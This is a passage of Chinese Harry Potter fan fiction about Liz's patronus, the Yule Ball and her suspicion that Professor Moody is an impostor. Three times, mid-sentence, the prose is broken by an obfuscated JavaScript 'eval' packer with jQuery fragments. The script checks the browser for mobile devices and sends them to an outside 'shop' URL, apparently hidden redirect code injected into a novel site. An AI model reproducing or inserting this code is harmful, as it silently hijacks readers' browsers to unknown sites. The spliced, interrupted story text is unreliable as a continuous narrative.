好了,我现在要和大家一起给米歇尔送行了,她今晚就要去巴塞罗那了。 圣诞快乐。 想见你。 P.S.我的守护神是一只信天翁,没错我学会了守护神咒,爸爸还告诉我守护神可以用来传递信息。 奥利弗 “听说?”莉兹疑惑地自言自语着,既然自己没有和伍德提过舞会的事情,那么只能是整个学校除了她之外仍然与伍德保持联系的另一个人了。 正巧赛德里克和同学院的朋友说说笑笑走进了礼堂,她揉着米拉尼尔的脑袋,抬头与来人对上了视线,下一秒俩人默契地像没看见对方一般,他背过身坐在了长凳上,她拆下了礼物包装纸,打开盒子,里面装着一条样式简单的银制项链,上面挂着一个吊坠,一根小小的魔杖画出了一圈半圆弧,仔细盯着看的话,就能看有个小光点在沿着轨迹移动,这是守护神咒的图解。 难怪奥利弗会在信里提到他的守护神,莉兹的嘴角微微上扬,心里一边说着,一边将项链戴在脖子上,并且暗自下决心,下一次她也要把自己的守护神告诉他,让那层盾牌一样的光罩转变为一个完整的动物不是一件容易的事情,她目前还没成功过。 让米拉尼尔把回信带走后,莉兹的心情意外变得很不错,虽然她的确不能说自己没感受到秋的尴尬或是赛德里克的别扭,但她终于又找到了一件值得花费时间的事情可做,可以把那堆作业放到一旁去了。 接下来的每一天,她只要有时间就会找个空无一人的角落对着一面空白的墙面,重复地念着“呼神护卫”。说实在的,书上的指示真是太难了,到底什么样的快乐记忆才足够强大能支撑起一个守护神咒,何况人生活中哪有那么多值得称得上是快乐的事情。 这日已经是圣诞节的清晨,猫头鹰一只接着一只飞到寝室的窗外,她见其他人都没醒,便一件一件地帮着把礼物送到她们床边。 完成任务后她坐在床上打开自己的那几件。爸爸送给她一只手表,白天时表盘是太阳的形状,太阳落山时表盘上就会有星星在闪烁。妈妈送了一双系带银色高跟鞋,说让她拿来搭配礼服长裙,但是米歇尔先前寄来的那条粉色裙子太过花哨了,莉兹早就决定穿塞西尔选好的灰绿色连衣裙,好在鞋子不算太夸张,她也可以晚上穿去舞会。塞西尔和爷爷的昨晚就收到了,是一个化妆镜和一包独角兽尾巴的毛。 塞西尔在信中提醒:“这会派上用场的,记得带在身边。”莉兹打开看了一下,原来是一面照妖镜。 差不多九点的时候,寝室里的人都起床了,大家互相送上圣诞快乐的祝福,而莉兹为了躲开玛丽埃塔那繁琐的舞会装扮流程,趁她们不注意溜了出去。 霍格沃茨变得比之前还要更华丽,她裹紧了长袍在城堡外的长廊上慢慢走着,不知道走了有多久,周围时不时飘起一些透明的彩色雪花,不知道是咒语变的,还是真实的。她就这样散步到了魁地奇球场,有很长一段时间没有使用过的场地还有看台上,都堆着厚厚一层雪,一束阳光穿过云层落在了那上头,闪着金色的光芒。一下子晃了她的眼睛,一阵酸疼左眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487850|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里便盈着泪,她掏出魔杖对着空旷的地方高喊:“呼神护卫——” 此时,一条半人高的俄罗斯猎狼犬从魔杖顶端跑出来,它在雪地上奔跑着,打了两个滚,而后朝着莉兹奔来,它将冷气一并带到了她面前,吹红了她的鼻子。那个瞬间,在她脑海里出现的是,同样的雪天里他们三人互相丢着雪球,浑身都是湿漉漉的,还有四年级那时他们三个人的拥抱。 “真是糟糕,”惊喜之余,莉兹揉了揉左眼,“这么下去就真做不成朋友了。” 犹豫了几秒钟,她将一张施了咒语的纸片扔到了半空中,那条猎狼犬仿佛一瞬间就读懂了她的意思,追着那张飞远的纸片跑进城堡里。 还有什么比一条端坐在门前的俄罗斯猎狼犬更能让人吃惊的呢,自然是这么多天都摆出了一副绝交姿态的莉兹竟然送来了一张和好纸条。 与学生主席杰姬一块儿给礼堂的圣诞树做最后调整的赛德里克看见了门外的猎狼犬,直觉告诉他,这条狗是冲着他来的,下一刻就证明了他的直觉没有错,因为它带来了一张纸片,而这递送消息的方式只有莉兹会这样。 赛德 对不起。 虽然很对不起,不过我觉得自己以后还是会这么讨人厌的,我改不掉的。 但为了完成一起去看奥利弗下一次世界杯比赛,我会努力不那么讨人厌的。 莉兹 拿着纸片,赛德里克哈哈笑了好几声,杰姬还以为这小子是太期待秋穿上新裙子的样子所以提前疯了。 午后礼堂的大门就会全部关上,直到晚上八点舞会正式开始时才打开,随着天色渐暗,在城堡里晃悠了大半天的莉兹终于回到了拉文克劳的公共休息室,有一些换好了舞会服装的学生们坐在沙发上聊着天,戴维斯被大家围在中间,因为他的舞伴是芙蓉·德拉库尔,他那自豪的模样,让莉兹不免皱起眉头,她侧过身匆匆走上楼。 寝室里,已经盘好发髻的秋正在给玛丽埃塔绑着头发,她看到这会儿才回来的莉兹,开口说道:“我们都想出门去找你了,再不换衣服就要来不及了。” “你的舞伴是乔治·韦斯莱吗?”玛丽埃塔盯着镜子里的莉兹问道,“真不错啊,我最后只能找到一个四年级的男生,他的个头都不如我呢,但是没办法,不然就要一个人去舞会了。” 勉强点头算是回应,莉兹转身将那条灰绿色连衣裙套上,一字肩的设计加修身的剪裁,让她的背影看起来有些陌生。帕德玛整理着自己的长袍,抬头看见莉兹,禁不住感叹说:“天呐莉兹,这太适合你了!” 接着秋和玛丽埃塔也说了同样的话,她们强行把莉兹按在椅子上,给她的头发用了许多柔顺剂,用丝带扎成一条辫子垂在脑后。 看着镜子里那张从蓬松的黑色卷发里露出来的脸,莉兹突然很不习惯,一下子移开了目光,不安的她抬手就想松开编发,被秋一把拦住:“这么漂亮的眼睛为什么要被挡住?” 难得脸颊发烫的莉兹紧张地抓住了脖子里的项链,支支吾吾说了一声谢谢。只是再多的夸奖都不代表能让莉兹适应舞会那样的场合,至少不能适应那双银色高跟鞋。 到了时间,她艰难地扶着楼梯扶手一步一步走下楼,秋提前去跟赛德里克汇合了,勇士们要跳今晚的第一支舞。帕德玛去找她的姐姐帕瓦蒂,而玛丽埃塔为了避开戴维斯,决定最后一个再走。 门厅和走廊都被学生们挤满,但是很多人都没认出莉兹,比如安吉丽娜就从她的身旁跑过去,差点把她撞倒在楼梯上。好不容易距离平地只有几步之遥了,莉兹不小心踩空了一节台阶,她都做好摔断腿直接放弃舞会的准备了,出现了一位伸出援手的好心人。 “晚上好啊,小古板女士。” 乔治笑着托起她的手,而后挽过了自己的手臂。 63. 圣诞舞会 礼堂的大门缓缓打开,也许是四张学院桌都被搬走了的缘故,莉兹从未觉得这地方竟有这么宽敞,近百张点着灯笼的小桌子错落排开,中央一张摆着一张圆桌,她数了数座位,那应该是留给教授们与勇士的桌子,邓布利多教授坐在了正中间。勇士们还在门外等待着,剩下的学生们已经陆陆续续把小桌填满,她和乔治在靠边的一张上坐下,没过两分钟安吉丽娜也拉着弗雷德走了过来。 她的礼服裙比其他人都要短一些,用魔杖一敲,裙摆就会蓬起来,只不过这戏法似乎不太灵光,她拉开椅子时就裙摆便炸开了。安吉丽娜匆匆将裙子变回原样,下一秒却又炸开,桌上其他人都笑出了声,只有莉兹指了指旁边的弗雷德提醒她,安吉丽娜这才知晓了出糗的真相,跟弗雷德胡乱打闹起来。李·乔丹被迫挪远了一些,不然一定会被这俩人波及到。 头顶槲寄生枝叶和常春藤编成的花环被他们折腾得左右摇晃,掉了一片叶子在莉兹的头顶,乔治正要伸手去摘下来的时候,零星的掌声响起而后成了全场的欢呼,原来是四位勇士们和他们的舞伴要进场了。 旁边那桌德姆斯特朗的学生们激动地将两手举过头顶鼓掌,莉兹微微皱眉揉了揉太阳穴,抬眼与赛德里克对上了视线,他和秋两个人同时向她挥着手,惹得好几个人都朝她这边看了过来,莉兹本想将头低下避开这出风头的场面,心里却又想到前几天的事情,只好硬着头皮跟他们俩打了个招呼。 这边的热闹一消停,她察觉到了来自身旁的注视,一转头就被乔治凑过来的一张脸惊到,莉兹稍稍向后让了一点距离,眨了眨眼问道:“我脸上蹭到什么了?” “没什么,我是在想你什么时候能想起自己旁边坐着一个大活人,”乔治嘴角上扬,轻轻一笑,“还有,没错,你的头上确实有一片槲寄生叶子。”说着他伸手从她的头发里拿出那片叶子,乱蓬蓬的卷发变得如此服帖,让莉兹那双眼睛变得更突出了。 “我旁边可坐着不止一个大活人,”莉兹见乔治将槲寄生叶子攥在手里塞进了西装口袋,低头开始研究盘子上那张小小的菜单,“真不错,今天有猪排可以吃。” 很显然,无论有什么让莉兹烦恼的事情,只要有足够美味的饭菜,她就能露出这样的表情,乔治对此再清楚不过了,他甚至记不清自己是从什么时候开始随身带着太妃糖和曲奇饼干的,弗雷德每次问到,他都会用自己正在长身体需要加餐搪塞过去,然而那些甜丝丝的玩意儿最后都被塞进了莉兹的背包里。 在参加宴会的时候吃下至少三人份的主菜是莉兹的常态,周围人都在聊着天的时候,她一个人消灭了一盘猪排后又吃完了两盘烤羊排,甚至有越吃越起劲的趋势,乔治早在中途就放下了刀叉笑着看她,仿佛她吃东西的样子很有意思似的。早已习惯了这种眼神的莉兹毫不在意,新皮鞋的不适也被她抛在了脑后。若不是灯光突然熄灭,邓布利多一挥手将桌子清空又挪到了墙边,乔治觉得她可以一个人吃到凌晨。 古怪姐妹登上了舞台,伴随着乐声响起,勇士们率先进入了舞池,比起克鲁姆的僵硬、哈利的笨拙,赛德里克同秋像是游刃有余的表演者,他们近乎完美地跳着华尔兹,把大家的注意力都吸引走了。 “不好,肚子好撑。”趁这机会退到众人之后的莉兹摸了摸肚子,自言自语道。 “你的肚子竟然还没有爆炸,这才是新闻。”乔治笑道。 “喜欢吃东西又有什么错,”莉兹深呼吸了两下然后将手伸到身后,松开了秋帮她系好的腰带,一个大大的蝴蝶结突然散开,她摸了摸脖子上的项链说,“呼——终于能喘气了。” 乔治顺着她的手低头看去,那吊坠在隐隐发着光,在微弱的灯光下跟着音乐的节奏在呼吸,脑海里有一个声音告诉他千万别玩,可他的嘴已经开了口:“这真有趣。” “哦,你说这个?”莉兹将吊坠提起,“奥利弗送的圣诞礼物,你看这是一个守护神咒的形状。”她顺便用另一只手比划了一下施咒手势。 “我很久之前就想问了,其实你们俩是不是……”乔治故作镇定地换上调侃的语气,“我是说,那可是奥利弗·伍德啊,怎么会想起送女生礼物?” 完全没能听出乔治语气里的其他意思,莉兹还以为对方和玛丽埃塔一样是为了打听什么八卦消息,便很坦白地回答道:“是的,我们在一起有一段时间了。” 接着她顿了顿说:“不过他一般是不会送这样的东西,比如去年我收到了一副护目镜,所以今年我就还了一副防风镜给他。” 第一首舞曲结束,古怪姐妹换了一首更欢快的曲子,莉兹下意识望向了舞台,这是她听过的歌,于是不愿再听下去的乔治抓住机会拉起她的手:“我喜欢这首歌,陪我跳支舞吧小古板小姐!” 没等自己拒绝,莉兹已经被他拽进了舞池,完全没能磨合好的高跟鞋时不时会崴两下,她还要艰难地躲避着舞姿奔放的弗雷德和安吉丽娜,乔治先是两手托住她的腰将她拉进,接着微微弯腰让她将手臂环过自己的脖子。 “你瞧,这下就省力多了吧。”他笑着说。 “话虽如此,”莉兹一手搭在他肩上,一手轻轻推开他的脸,“靠得太近了。” 乔治再次笑出声,轻轻用额头顶了她一下,觉得被挑衅了的莉兹哼了一下,气氛果然很快就变得和平时相处时没有任何区别,两个人都露出了笑脸,莉兹踢掉了脚上的高跟鞋,与乔治变成了舞池上另一对安吉丽娜和弗雷德,他们四个人几乎赶走了周围所有人。 莉兹转身与安吉丽娜面对面俩人拉手转了一圈,韦斯莱兄弟二人便交换了舞伴。弗雷德躬身行礼,接着双手托起莉兹也转了一圈,面对着的舞伴再次交换,四个人跳得如此纵情肆意,舞会的氛围在他们的感染下,将今晚推上了一个高潮。 “谢谢你。”乔治看着面颊微红额前挂着汗珠的莉兹,他这样说道。 但是乐声太大了,莉兹垫脚凑上前,疑惑地反问:“什么?” “我是说,”乔治将自己的脸贴在她的耳旁,重复了一遍,“谢谢你成为我的舞伴。” “这有什么的。”莉兹已经不再介意这不寻常的距离感,反倒是伸手揉了揉乔治那头软软的姜黄色短发,接着松开被他拉着的手,转身钻出人群寻找自己的鞋。 情不自禁就要追上前的乔治下定决心了似的,在原地站定没有动弹,安静地看着她的背影被隐没,接着自己走向了相反的一边。 “我想你在找这个吧?” 熟悉的声音突然出现在莉兹身后,还有木制假腿在地板上行走时的声响,心头的寒意比判断力更加迅速地占领了莉兹的大脑,一晚上堆积起的快乐消失殆尽,她回头向来人点了点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487851|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面无表情地回复道:“非常感谢您,穆迪教授。” 她两手拿回那双高跟鞋,决定尽快远离这个地方,尽管她在校六年只上过一次特里劳妮教授的占卜课,但是巫师世界中,当一位巫师出现不好的预感时,那很少是一种空穴来风,必然意味着什么。 “我们已经私底下警告了那位对你下手的学生,”穆迪那只假眼转了转,放低了声音说,“原来是个布斯巴顿的小子,叫维特的那个,马克西姆起初咬死不认,最后还是答应了把学生送回学校。” “所以我的记忆可以回来吗?”莉兹问。 “关于这件事情,我们很抱歉,奥利凡德小姐,不是所有的遗忘咒都有解咒,尤其是在施咒者并不精于此咒的情况下。”穆迪摆出了惋惜的表情,“但至少你现在可以放心了,你安全了。” 真的安全吗,莉兹思量了两秒,她认为学校没有理由将这种应当按下不表的事件处理结果告诉一个普通的学生,哪怕她是这件事中的主人公。 对方倒是像看透了她的心思一般补充道:“当然了,邓布利多认为不告诉你比较好,没必要吓到你,不过我听塞西尔说过你是个特别的姑娘,所以有资格了解事实真相。” 提到姑姑的名字立刻就起了作用,莉兹的戒备表情逐渐放松,穆迪也微微一笑,再抛下一句享受舞会便离开了礼堂。 所以说今晚没能看到维特不是因为被自己拒绝了,而是他已经被遣返回国了,理智上莉兹觉得所有事都环环相扣没有漏洞不应该再追究,但感情上她觉得“没有漏洞”才是最奇怪的,怎么能滴水不漏地就圆上了,毕竟维特没有伤害她的动机,她很清楚,那男孩是个胆小鬼,和罗杰一样。 她沉默着坐在远离人群的地方,那光鲜亮丽的舞池就像幻梦一场,凌晨的钟声敲响时一切都会结束,莉兹只是提早了一点醒来,直到赛德里克和秋牵着手向她走来。 “怎么,已经在想念奥利弗了吗?”赛德里克开口就是一句调侃,完全忘了这是俩人和好后第一次对话。 “秋,你介意我对你的男朋友使用暴力吗?”莉兹起身就是一脚,踩得赛德里克嗷嗷直叫。 “她还没答应你怎么就动手了!”赛德里克觉得自己脚趾头都麻了。 “没关系的,我答应。”秋微微一笑,看着恢复如初的两个好朋友,心里总算是放下了一颗石头。 “我动的是脚。”莉兹还想踩第二下,被赛德里克顺利躲开,见他们还要继续回去跳舞的样子,莉兹很识相地说,“我准备先回去了,你们玩得开心。” 刚走出门没两步,赛德里克追了上来小声询问:“是不是又发生什么了?” 莉兹看了一眼在桌旁等待着的秋,这一次她没有再把朋友推开老远,而是点了点头:“穆迪教授说找到了真凶,具体的事情明天再详说。” “哦对了,你不要告诉什么都告诉奥利弗。”她像是想起了什么提醒道。 “哎呀。”赛德里克心虚地一笑,立马跑回去拉着秋钻进舞池。 留着无奈的莉兹站在门厅,竟发现一只守护神信天翁盘旋在半空中,它一见到她便飞了过来,宽大的翅膀将她整个包裹着,仿佛一个深深的拥抱。 “原来传递信息是这么用的。”她轻声说着,挥舞起魔杖让自己的那条俄罗斯猎狼犬跟着信天翁离开了霍格沃茨。 64. 风声鹤唳 圣诞假期结束后的第一个工作日,尽管福吉暗示众人不要多谈论某些事情,但是魔法部里依然是四处弥漫着风声鹤唳的氛围。伯莎·乔金斯失联几个月的风声尚未平息,巴蒂·克劳奇的病假也从一周延长到了两周,国际魔法交流合作司的办公室门前堆满了未解决的文件。这日阿莫斯·迪戈里特地递送了工作信函,希望克劳奇先生能尽快签署同罗马尼亚吸血鬼协会的一份合作意向,好让他们将那些在英国乡下为非作歹的吸血鬼们以罗马尼亚方能够认可的方式引渡回国。 代替克劳奇先生处理文件的韦斯莱家那个刚毕业的毛头小子珀西,阿莫斯看在亚瑟的面子上好声好气与他谈这件事的紧急程度,珀西倒好,年纪轻轻打着官腔把人都给敷衍走了,似乎根本没有要认真对待工作的意思。 在办公桌前玩弄着化妆镜的塞西尔听着走廊上那阵重重的脚步声,多少也猜到事情解决得不顺利,她将手上和送给莉兹的那面一模一样的小镜子塞进口袋里,提前站起身来,在阿莫斯开口前说道:“那我去给金斯莱报个信,让他们傲罗办公室注意着点,接下来那群吸血鬼不会消停的。” “真是太荒唐了,巴蒂哪怕是儿子入狱那天都工作到了凌晨没有休息过半天,”阿莫斯把文件摔在桌上,“他可从来没耽误过任何工作,当年部长选举的选票我还选的他呢。” 他看来是真的气急了,平日里这种口无遮拦的话只有塞西尔才会说出口。 “你就当人都会变老的。”塞西尔说着带上了办公室的门走出去,心中也若有所思。 她先前确实去阿尔巴尼亚找过一次乔金斯,听说她的远房亲戚就住在那里,对方给的解释十分蹊跷,说乔金斯根本就没有来过,他们已经很多年都没有联系过了。但是塞西尔从金斯莱那里打听到,阿尔巴尼亚魔法部是有乔金斯的入境记录的,也就是说她的确去到了那个地方,并且再也没能回来。 阿尔巴尼亚、阿尔巴尼亚、阿尔巴尼亚,塞西尔在心里默念着,很可怕的念头在她脑海里成型,这么一路走到了傲罗办公室的楼层,金斯莱身后跟着刚刚结束三年训练终于成功转正的唐克斯,她先看到了迎面而来的塞西尔,挥手跟她打招呼:“好久不见!” “好久不见,”塞西尔抬起头,看到了这个活力旺盛的姑娘,欣慰地说着,“我就说她一定行的,傲罗办公室总算多了个年轻人了。” “那有什么事情要劳烦您大驾亲自前来?”金斯莱笑了笑,指着一件空隔间示意唐克斯那是她以后的位置,然后打开了自己办公室的门,让塞西尔进来说话。 听了那个可怕的念头,金斯莱的表情变得很是凝重,他谨慎地确认了一下办公室的防窃听咒是否仍有效,然后开口回道:“所以你告诉邓布利多了吗?” “我是十分钟前才想到这个可能的,”塞西尔把小照妖镜打开摆在了桌面上,里面有很多模糊的影子,“说实在的,我们根本就没有细想过他为什么离开阿尔巴尼亚吧,寻找一个理论意义上‘不存在’的人本来就太困难了。” “所以我们一直在找彼得,”金斯莱翻出各种追踪记录,“我和莱姆斯相信彼得一定找到了他的‘主人’。” “可是他们安置了很多烟雾弹,”塞西尔按了按眉心,“让很多年轻人误认为那是什么潮流,每个人都在身上搞出了那种刺青,我还以为当年抓的人够多了……” “很显然魔法部的手段根本没有威慑力,就像那一年小巴蒂的尸体从阿兹卡班里抬出去时整座监狱的食死徒都在为他鸣不平,监狱外也有人在纪念他,”金斯莱长叹一口气,“巧舌如簧的坏人,笨嘴拙舌的老实人,你会追随谁。” “等一等,黑魔标记是在世界杯出现的,然后是波特那孩子在三强争霸赛的意外,”塞西尔啪得合上镜子,“这都是伯莎负责的工作内容。” “即便杀了乔金斯获得了情报,”金斯莱反问,“邓布利多怎么可能让外人进霍格沃茨。” “如果说不是外人呢,”塞西尔盯着他,“如果说,他不需要获得认可就可以在霍格沃茨来去呢?” “卡卡洛夫?”金斯莱沉思,“不可能,他不认识乔金斯,而且一直被监视,德国魔法部跟我们始终在联系。” “巴格曼?怎么可能,”塞西尔说出名字的时候自己否决了猜想,“这么猜下去连我自己都符合条件了,反正阿拉斯托私底下照看着那孩子,我们还是不要战战兢兢了。” 当然,塞西尔嘴上是这样说的,却在同时收到穆迪和莉兹的信时再次陷入了思索,一封是穆迪关于布斯巴顿的男孩所做之事的讲述,一封是莉兹关于这个解释的怀疑,她说她相信自己的感觉,这一定不是真正的解答。最后塞西尔终于决定约阿拉斯托在下个周末到霍格莫德见一面,既然莉兹执着于穆迪那根奇怪的魔杖,那干脆当面解决好了。 周六一早,寝室里便见不到莉兹的身影,秋在楼下同赛德里克汇合时提到了这件事,因为他们三人原本约好要一起到三把扫帚等午后才会赶来的伍德,考虑到莉兹不是个轻易放鸽子的人,两人也认为她应该是有什么急事,所以便想着先去逛一会儿笑话商店,然后再去找他们。 清晨时分的猪头酒吧十分阴冷,莉兹顶着风雪裹着长袍走到门前,探头透过脏兮兮的窗户看了一眼,塞西尔正坐在吧台边最近的桌子旁,亮粉色的短发在破败的酒吧里非常扎眼,她对面是模样憔悴的海格,新学期开始就是格拉普兰教授在代保护神奇动物课,所以莉兹已经很久没有见过他了。 “在外面罚站吗,奥利凡德小姐?” 大约是偷看得太认真了,穆迪的声音突然在身后响起,再一次吓了莉兹一跳,她匆忙推开店门,潦草地跟教授打了招呼,然后几乎是快步奔到了塞西尔跟前,逃也似的挤进了里面的座位。 “哦,我是不是打扰到你们的聚会了,可是……”海格听起来像是哭哭啼啼的,“我知道这世界上没有任何地方欢迎我。” 丽塔写的胡言乱语对海格的影响似乎比对其他人的影响都要大,那篇关于海格是混血巨人的报道莉兹只是扫了一眼,便把《预言家日报》扔到了一旁,卢平教授还是个狼人呢,这也不能阻止她觉得卢平是她目前为止遇到过的最有意思的老师。 塞西尔站起身努力地拍着海格的肩膀,顺便把阿不福思送来的那一扎啤酒都推到了他面前。 “没关系,他只是需要人陪一陪,所以我顺便带他一起来了。”塞西尔和穆迪解释,“我今天想拜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487852|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 托阿拉斯托你满足我这个小侄女的小心愿,你也看出来了,她跟我父亲一样,对所有的魔杖都很痴迷。” 配合着塞西尔的话,莉兹难得装出一副乖巧的模样,看起来是个求知欲旺盛的小孩子,虽然她知道已经年满十七岁。只见穆迪的假眼转了又转,莉兹又猜不透他在想什么了。 “我是看在你的面子上,”穆迪从上衣口袋里掏出魔杖来,“加上,你这侄女确实是聪慧过人,傲罗的好苗子。” 好吧,自己又从魁地奇的好苗子成了傲罗的好苗子,莉兹心里嘀咕着。 欣喜地双手接过魔杖,她直接叫出了声:“啊哈,果然是独角兽尾巴的毛。”她从背包里拿出那袋爷爷寄来的圣诞礼物,“幸好我带在了身上,穆迪教授您的魔杖杖芯损坏太严重要更换了。” 穆迪看向了塞西尔,她则是露出一副“由她去吧”的表情,好像已经习惯了莉兹这番模样似的。 “长度九英寸,雪松木制作,弹性低,独角兽尾巴的毛……”莉兹拿起自己的魔杖将里面破损的杖芯抽出,小心翼翼安装上全新的一根,稳定的操作让在场的三个成年人都看呆了,海格甚至忘记了自己的悲伤,只觉得从没见过有人制作魔杖,过程很新奇。 “这样的魔杖,擅于攻击,防守强大,对主人……”她顿了顿抬头与穆迪的假眼对上继续说,“对主人十分保护欲旺盛。” 那只假眼很明显停住了一瞬,而后穆迪从她手中接过了魔杖,立刻用了两个清洁咒,施咒效果比原先更加有效且迅速,只是他察觉到了贴着掌心的那一段魔杖,木料隐约撕裂的声响。默不作声把魔杖收好,他同这个小姑娘道谢。她也仿佛是没有注意到那声响似的,提高了声调和塞西尔说一会儿她还要去三把扫帚见朋友。 “下次记得带着那男孩子过来给我见见呀,”塞西尔摇晃着杯子里的威士忌,看着莉兹走出酒吧,“我说吧,我们家这姑娘只是单纯喜欢魔杖而已,你看我的这根,也是她做好的。” 穆迪没回话,点了点头,也喝了一口威士忌之后,皱着眉头说:“这里的酒不太行。” “你又不是第一次认识阿不福思了。”塞西尔笑出声,跟吧台后的胡子老头调侃道,“拿点硬货过来呀,阿不福思!” 海格也跟着附和。 三个人从早上喝到了下午,穆迪甚至喝空了自己带来的小酒壶,于是他便起身不得不回学校了,已经喝得晕晕乎乎的塞西尔趴在桌子上,大脑里还有很小的一部分在清醒着,而海格早就睡了过去,鼾声震天响。 在猪头酒吧阁楼凑合了一夜,第二日塞西尔醒来时阿不福思把一封信递给她,说是莉兹那个小姑娘傍晚时送来的,忍耐着头疼,塞西尔喝了一口咖啡啃着石头饼,摊开了那封信。 塞西尔 穆迪教授的魔杖是被抢夺来的,这不是他的魔杖。 我确信。 或者说,魔杖是穆迪的魔杖,但人不是阿拉斯托·穆迪,可这想法太荒唐了。 信读完就会自燃的,我会自己小心,我只想好好上个学。 担心你的莉兹 灰烬落在吧台桌上,什么困倦,什么疼痛,一瞬间从大脑中飞走,塞西尔觉得自己从未这么清醒。 65. 脆弱的信任 当赛德里克已经完美掌握了泡头咒的时候,距离第二个项目开始只有不到两周了,这段时间里他被莉兹强行按在冰冷的黑湖水里适应水温,这个狡猾的拉文克劳竟然拉上了秋,二人站在统一战线,一个掐着表,一个举着魔杖,防止他中途探出头偷懒。 好在多年的魁地奇训练给他带来了足够强健的体魄,他只在刚开始的时候被冻到了打喷嚏,住进校医院的当晚秋还偷偷跑来了,她带着家养小精灵刚煮好的肉桂热红酒,在床边陪了他整整一夜。 他那时嘴上说着“还以为你真的变成了和她一样的冷血心肠”,心里其实想的是自己要是多病两天就好了。不过他说出这话的瞬间就被莉兹甩了一个白眼,她摆出皮笑肉不笑的表情,指着冰冷彻骨的湖水说:“好了,我们可以继续了吧,谁让我是冷血心肠呢。” 回归到日常的校园生活让莉兹短暂放下了困扰她的那些不安情绪,出于谨慎,她没有将那一日给塞西尔的信中提出的推论告诉其他人,首先伍德早已毕业,给一个没有办法随时赶到自己身边的人徒添担忧是无用的撒娇,其次赛德里克有更重要的事情要做,他的三强争霸赛之旅至今都很顺利。 塞西尔后来没有再给她回信,因为这件事很显然超出了莉兹能够处理的范围,莉兹觉得自己除了当做什么都不知道之外,没有其他能够保证自己安全的办法,毕竟推理小说里早死的聪明人都是因为被凶手看出来了。 实际上,塞西尔并不是故意不给莉兹透露消息,她给邓布利多送完信之后,只得到了按兵不动的回复,他说他会处理的。再加上,凭借一个孩子的证词能获得多少认可,塞西尔自己也不清楚。何况同一时间她又面临着比调查阿拉斯托·穆迪更加紧急的事情,因为西里斯·布莱克失踪了。那日她从霍格莫德村直接去了魔法部上班,刚给卢平送了一封信,准备晚上约他到家里谈谈这件事怎么处理,没想到推开家门,平日里总是躺在摇椅上发着呆的大黑狗不见了。 她猛然间有了一种被背叛的错觉,本以为他总算是安稳了下来,这才撤掉了房间外那些防护咒,还给他带了根新的魔杖,这些都是她私下偷偷做的,邓布利多压根不知道,他只给了她一个任务就是千万不能让任何人看到布莱克,甚至金斯莱都不知道西里斯的住处。 现在好了,她闯大祸了。 建立信任果然是世界上最艰难的事情,塞西尔看着摆在门前用来喂食的餐盘,还有房间里到处飘着的一团团狗毛,满肚子的怨气不知道往何处发泄,她对着窗外一甩魔杖,一只白狮钻了出来,她希望自己的守护神能尽快找到那条落跑的大黑狗。而一转头,收到信的卢平已经来到了门外,他看起来风尘仆仆的,打着补丁的呢子大衣变得更破旧了,花白的头发遮住了上半张脸,露出泛红的鼻子。 “莱姆斯,完了。”塞西尔起身扯过对方的衣服,将他拉进门。 “斯内普不是在监视‘穆迪’了吗?”还没意识到发生了什么事情的卢平有些嫌弃地拨开了她的手。 “不是这件事,”塞西尔愣了一下,“什么,邓布利多让斯内普监视阿拉斯托?不对,他不是还让阿拉斯托保护波特吗?” “就在垃圾桶暴走那件事之后,”卢平拉过椅子坐下,“至于波特的事情,斯内普一直会跟我们联系。。” “所以就没有发现任何不对劲的吗,”塞西尔觉得难以置信,“莉兹都说了魔杖有问题。” “斯内普说了,”卢平淡然地回复,“说他和以前一样是个老疯子,甚至半夜跑到他办公室。而波特,命比天还大。”他把那位老相识说话的腔调学了个十成十,塞西尔差点被逗笑了。 “天呐我真是受够了邓布利多……”塞西尔苦笑着拍了拍自己的脑门。 “你也能说出这种话?”卢平看向她,塞西尔可是出了名的唯邓布利多主义。 “但凡让我多知道一件事,我都不会战战兢兢到今天,”塞西尔抬起头,“我每天都在怀疑这怀疑那的……” “可能邓布利多觉得你要负责三强争霸赛的火龙、人鱼,要去魔法部工作,又得在黑市打听消息,还得照顾西里斯,这些事已经够你操心的了……”卢平说到这儿才想起了什么,面前女人的脸色也突然变得煞白。 “对,没错,完了,因为他不见了!”塞西尔瞪大了双眼,“我还以为我做得够多了,他应该相信我。” “你不懂他那个人,他并非不信任你。”卢平虽说也有些担心,不过听闻塞西尔买了新的魔杖给他,心想着以西里斯的能力,没有那么容易被人抓到。 “我说过很多遍了,和波特有关的事情都告诉我,我会帮他。”塞西尔深呼吸了一下。 “但你也没有把他弟弟的事情告诉他,”卢平冷不丁提到了雷古勒斯,“因为你觉得他不会相信你。” 